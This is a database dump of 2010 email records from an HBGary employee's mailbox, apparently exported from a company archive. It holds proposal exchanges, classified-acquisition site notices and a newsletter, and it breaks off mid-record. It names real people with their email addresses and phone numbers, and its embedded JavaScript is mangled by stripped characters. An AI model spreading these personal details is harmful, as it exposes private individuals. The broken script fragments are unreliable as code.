Mark,\r\n&gt;&gt;&gt;&gt;\r\n&gt;&gt;&gt;&gt; Can I get VPN and website access?\r\n&gt;&gt;&gt;&gt;\r\n&gt;&gt;&gt;&gt; Aaron\r\n&gt;&gt;\r\n\r\n\r\n\r\n',16147,'aaron_hbgary_com/16147.html'),(10382,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008094.M257802P14101Q5237.eml','\"Steve Winterfeld\" <steven.winterfeld@TASC.COM>','sections','I have the overall solution as well as the technical services section.\r\n\r\nPlease review and comment.  Some data is sparse in the tables.  If you can help fill some in great.\r\n\r\nAlso I need past performance to fill out the following table related to each function.  Who can do that?\r\n\r\n',11201,'aaron_hbgary_com/11201.html'),(10383,'2010-08-16','arc@westfields.net','/aaron@hbgary.com/new/1297008094.M601450P14101Q5238.eml','federal@hbgary.com','CAPRICA Announcement Posting','\r\nAn announcement has been posted on the NRO-CAPRICA effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select CAPRICA from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',1313,'aaron_hbgary_com/1313.html'),(10384,'2010-08-16','arc@westfields.net','/aaron@hbgary.com/new/1297008094.M824661P14101Q5239.eml','federal@hbgary.com','CAPRICA CBL document posting','\r\nContractor Bidder\'s Library (CBL) documents have been posted on the NRO-CAPRICA effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select CAPRICA from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',7201,'aaron_hbgary_com/7201.html'),(10385,'2010-08-16','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297008095.M224570P14101Q5241.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: sections','Call when you have a second \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 16, 2010 9:49 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: sections\r\n\r\nI have the overall solution as well as the technical services section.\r\n\r\nPlease review and comment.  Some data is sparse in the tables.  If you\r\ncan help fill some in great.\r\n\r\nAlso I need past performance to fill out the following table related to\r\neach function.  Who can do that?\r\n\r\n',5870,'aaron_hbgary_com/5870.html'),(10386,'2010-08-16','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297008095.M30622P14101Q5240.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Google Enterprise Partner - Thermopylae','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThis could play a part as they are Google Earth developers on\r\nmobile platforms.&nbsp; May be important later down the road.&nbsp; Just a point\r\nof reference. \r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, August 16, 2010 11:13 AM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Google Enterprise Partner - Thermopylae\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWho are they and what do they do? &nbsp;Is this for the\r\nCOIN/ROMAS stuff?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Aug 16, 2010, at 11:06 AM, Clair, Chris (TASC) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, August 17,\r\n2010 10:00 AM-11:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF 2, 1A\r\n\r\nNote: The GMT offset above\r\ndoes not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nAgenda\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIntroduction of TASC\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIntroduction of Thermopylae\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDiscussion of Thermopylae\r\ncapabilities\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProduct demos\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNext steps\r\n\r\n6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nQuestions and Answers\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nPlease forward this to\r\nothers who may be interested.\r\n\r\nHere is a website link\r\nhttp://www.t-sciences.com/.\r\n\r\nFrom their website:\r\n\r\nThermopylae Sciences and Technology (TST) is a small, woman-owned business\r\nthat focuses on excellence in all we do for our government and private sector\r\ncustomer base. We particularly excel in software development, cyber security,\r\ngeospatial application solutions, personnel and infrastructure protective solutions,\r\ncloud/grid computing in cleared environments, and Event-Driven-Architecture\r\ndevelopment.\r\n\r\nTST is a different type of company. We reward innovation and strive to bring\r\nemerging technologies to our customers in ways that can enhance organization\r\nperformance and further their missions. We combine industry experts in\r\ninformation technology and pair them with team members that are subject matter\r\nexperts on our customer\'s key problem sets. The result: cutting-edge solutions\r\nthat are tailored directly to our customer needs.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nChris Clair\r\n__________________________________________________\r\n&nbsp; |Chris Clair\r\n| Program Manager\r\n|\r\n703.449.3964\r\n\r\n\r\n\r\n\r\n&lt;meeting.ics&gt;&lt;ole0.bmp&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8737,'aaron_hbgary_com/8737.html'),(10387,'2010-08-16','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','/aaron@hbgary.com/new/1297008102.M390463P14101Q5242.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: sections','I did this update over the weekend. Will update the image in your write\r\nup. \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 16, 2010 9:49 AM\r\nTo: Winterfeld, Steven P (TASC)\r\nSubject: sections\r\n\r\nI have the overall solution as well as the technical services section.\r\n\r\nPlease review and comment.  Some data is sparse in the tables.  If you\r\ncan help fill some in great.\r\n\r\nAlso I need past performance to fill out the following table related to\r\neach function.  Who can do that?\r\n\r\n',991,'aaron_hbgary_com/991.html'),(10388,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008102.M693922P14101Q5243.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@tasc.com>','Re: sections','Dude... Ken all day.  Why me?\r\n\r\nSent from my iPhone\r\n\r\nOn Aug 16, 2010, at 12:48 PM, \"Winterfeld, Steven P (TASC)\"\r\n wrote:\r\n\r\n> I did this update over the weekend. Will update the image in your write\r\n> up.\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, August 16, 2010 9:49 AM\r\n> To: Winterfeld, Steven P (TASC)\r\n> Subject: sections\r\n>\r\n> I have the overall solution as well as the technical services section.\r\n>\r\n> Please review and comment.  Some data is sparse in the tables.  If you\r\n> can help fill some in great.\r\n>\r\n> Also I need past performance to fill out the following table related to\r\n> each function.  Who can do that?\r\n>\r\n> \r\n> \r\n',9353,'aaron_hbgary_com/9353.html'),(10389,'2010-08-16','\"AFCEA International\" <connections@afcea.org>','/aaron@hbgary.com/new/1297008102.M950505P14101Q5244.eml','aaron@hbgary.com','SIGNAL Connections','\r\n\r\n\r\n\r\nSIGNAL Connections\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n			\r\n				\r\n					To ensure you receive SIGNAL Connections each month, add connections@afcea.org to your address book.\r\n     If you cannot read this email, click here.\r\n    \r\n				\r\n				\r\n					\r\n\r\n\r\n\r\n					\r\n				\r\n				\r\n					\r\n 				\r\n				\r\n					\r\n				\r\n			\r\n			\r\n				\r\n					SIGNAL | About | Contact | Advertising | Join AFCEA | Writers Guide | Legal \r\n				\r\n			\r\n			\r\n			\r\n				\r\n					\r\n						\r\n							\r\n						    	Monday, August 16, 2010 \r\n								VOLUME 7 ISSUE 11 \r\n							\r\n							\r\n								\r\n							\r\n						\r\n					\r\n				\r\n				\r\n					In This Issue \r\n			        \r\n			          Feature Articles\r\n			          News Briefs\r\n			          SIGNAL Online Exclusives\r\n			          Currently in SIGNAL\r\n			          Next month in SIGNAL\r\n			          Homefront Help\r\n			          New Products\r\n			          Survey Question\r\n			          Right Now on SIGNAL Scape\r\n			          AFCEA News\r\n			        \r\n					 \r\n					\r\n					\r\n						\r\n							&nbsp;\r\n							&nbsp;\r\n							 \r\n							&nbsp;\r\n						\r\n					\r\n					\r\n					\r\n			        \r\n					\r\n						\r\nSponsors \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n						\r\n					\r\n				\r\n		        \r\n         Survey Question \r\n\r\nDIV.formhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.subhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.secthd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.sectsubhd {font-size:11px; font-family:arial,helvetica;}\r\nDIV.questhd {font-size:11px; font-family:arial,helvetica;}\r\n\r\n			\r\n\r\n\r\n				\r\n					\r\n\r\n						\r\n\r\n							\r\n							\r\n								Is DOD Secretary Gates making the right move by eliminating the ASD NII and the J-6?\r\n								              &nbsp;\r\n							\r\n							\r\n\r\n							\r\n							\r\n								\r\n		   					  Yes&nbsp;No&nbsp;Not sure&nbsp;\r\n								\r\n							\r\n							\r\n\r\n						\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n							\r\n\r\n								\r\n\r\n							\r\n\r\n						\r\n						\r\n\r\n					\r\n				\r\n\r\n			\r\n\r\n\r\n\r\n \"9\")))\r\n		return false;\r\n	}\r\n\r\n	return true;\r\n}\r\n\r\nfunction stripCharsInBag(s, bag){\r\n	var i;\r\n   var returnString = \"\";\r\n\r\n   for (i = 0; i 1)\r\n		strDay = strDay.substring(1)\r\n\r\n	if (strMonth.charAt(0)==\"0\" && strMonth.length>1)\r\n		strMonth = strMonth.substring(1)\r\n\r\n	for (var i = 1; i 1)\r\n			strYr=strYr.substring(1)\r\n	}\r\n\r\n	month=parseInt(strMonth)\r\n	day=parseInt(strDay)\r\n	year=parseInt(strYr)\r\n\r\n	if (pos1 == -1 || pos2 == -1) {\r\n		returnString = \"The date format should be : MM/DD/YYYY\";\r\n	}\r\n	else if (strMonth.length12) {\r\n		returnString = \"Please enter a valid month\";\r\n	}\r\n	else if (strDay.length31 || (month==2 && day>daysInFebruary(year)) || day > daysInMonth[month]) {\r\n		returnString = \"Please enter a valid day\";\r\n	}\r\n	else if (strYear.length != 4 || year==0 || yearmaxYear) {\r\n		returnString = \"Please enter a valid 4 digit year between \"+minYear+\" and \"+maxYear;\r\n	}\r\n	else if (dtStr.indexOf(dtCh,pos2+1)!=-1 || isInteger(stripCharsInBag(dtStr, dtCh))==false) {\r\n		returnString = \"Please enter a valid date\";\r\n	}\r\n	else {\r\n		returnString = \"\";\r\n	}\r\n	return returnString;\r\n}\r\n\r\nfunction isNumber(str) {\r\n	if ( (str == \"\") || (isNaN(Math.abs(str)) && (str.charAt(0) != \'#\'))) {\r\n		return false;\r\n	}\r\n	return true;\r\n}\r\n\r\nfunction validateForm(form) \r\n{\r\n	if (validate) {\r\n		document.sbt.status_cd.value = \'COMPLETED\';\r\n\r\n		for (var e = 0; e  -1)) { \r\n				if (el.name.indexOf(\"QY\") > -1 && el.value == \'\') {\r\n					alert(errormsg);\r\n					el.focus();\r\n					return false;\r\n				}\r\n	\r\n				if (el.name.indexOf(\"EMAIL\") > -1 && isEmail(el.value) == false) {\r\n					